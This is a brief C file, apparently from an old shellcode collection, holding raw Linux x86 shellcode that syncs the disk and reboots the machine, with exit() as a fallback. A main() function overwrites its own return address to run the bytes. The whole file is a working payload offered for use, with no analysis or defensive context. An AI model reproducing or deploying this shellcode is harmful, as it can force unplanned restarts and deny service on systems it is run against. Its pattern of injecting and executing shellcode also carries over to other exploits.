/* * This shellcode will do a syn() sync() reboot() and exit() if the code fails * * Written by zillion@safemode.org * */ char shellcode[] = "\xeb\x27\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\x5e\x31" "\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67" "\x45\x23\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff" "\xff"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }